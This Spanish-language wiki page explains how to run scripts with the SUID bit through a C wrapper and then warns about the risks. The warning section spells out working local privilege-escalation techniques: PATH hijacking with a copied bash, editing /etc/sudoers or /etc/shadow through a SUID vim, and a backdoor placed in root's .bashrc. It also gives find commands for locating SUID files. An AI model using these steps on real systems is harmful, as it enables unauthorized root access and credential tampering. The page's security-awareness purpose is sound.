====== Como ejecutar scripts con el bit SUID activado ====== **Recopilación de aplicaciones que pueden explotar el bit suid o sudo**: https://gtfobins.github.io/ Por defecto la inmensa mayoría de distribuciones no permiten la ejecución de scripts con el bit SUID activado por motivos de seguridad. La solución es crear un ejecutable en C con SUID activado y que este llame o ejecute al script necesario. También se podría hacer con el SGID. #include #include #include #include int main() { setuid( 0 ); system( "/opt/aplicacion/script.sh" ); return 0; } Compilando el código C. gcc runscript.c -o runscript Dando permisos rwx + SUID (4775) chown root:root execscript chmod 4755 execscript Al ejecutar el programa se ejecutará como root el script especificado en el código. **Otra alternativa sería utilizar shc**: [[http://www.datsi.fi.upm.es/~frosal/sources/shc.html |Generic shell script compiler]] ===== Problema de seguridad a ejecutar scripts con el bit SUID activado ===== Si el script se sustituye por uno que ejecute /bin/bash, se estaría haciendo un escalado de privilegios y se obtendría una shell Bash como usuario root. Supongamos que no se ejecuta un script, si no un binario / comando, pero no indicando la ruta completa dentro de la función "system", por ejemplo el comando "ls". system( "ls" ); Al no indicar una ruta completa, se nos permite poder escalar privilegios al poder modificar la ruta sin necesitar privilegios sobre "runscript" o el binario "/bin/ls". Para ello usaremos la variable PATH, esto sería suficiente para obtener root en el sistema. cp /bin/bash $HOME/ls # Se podría usar un enlace, un script que apunte a bash export PATH=$HOME:$PATH Ahora al ejecutar "runscript", Linux buscará el comando ls, como se ha indicado en la variable PATH que se debe buscar "ls" primeramente en /home, se ejecutará $HOME/ls con el suid 0, recibiendo así una consola de root. Como recomendación se debe evitar el uso del suid, hay aplicaciones que son más agradecidas a la hora de permitir la escalada de privilegios, veamos algunos ejemplos. SUID en vim.basic. ls -lt /usr/bin/vim lrwxrwxrwx 1 root root 21 Feb 2 15:45 /usr/bin/vim -> /etc/alternatives/vim ls -lt /etc/alternatives/vim lrwxrwxrwx 1 root root 18 Feb 2 15:45 /etc/alternatives/vim -> /usr/bin/vim.basic ls -lt /usr/bin/vim.basic -rwsr-xr-x 1 root root 2437320 Nov 24 2016 /usr/bin/vim.basic # Tiene el SUID activo Ahora se podría abrir /etc/sudoers y adaptar nuestro usuario para que tenga el máximo privilegio. usuario ALL=(ALL:ALL) ALL También se podría modificar la password del usuario root en "/etc/shadow", agregar un comando "adduser usuario sudo" dentro del .bashrc de root para que cuando el admin ingrese nos incluya en el grupo de sudo, etc. **Buscar ficheros con SUID o GUID activado**. # Busca ficheros con root como propietario con SUID activado. find / -user root -perm -4000 # Busca ficheros con root como propietario con SGID activado. find / -group root -perm -2000 # Busca ficheros de cualquier usuario con SUID y SGID activos. find / -perm -4000 -o -perm -2000 # Busca ficheros que no pertenecen a ningún usuario. find / -nouser # Busca ficheros que no pertenecen a ningún grupo. find / -nogroup # Busca enlaces simbólicos y muestra a donde apuntan. find / -type l -ls **Lectura recomendada**: [[http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html]]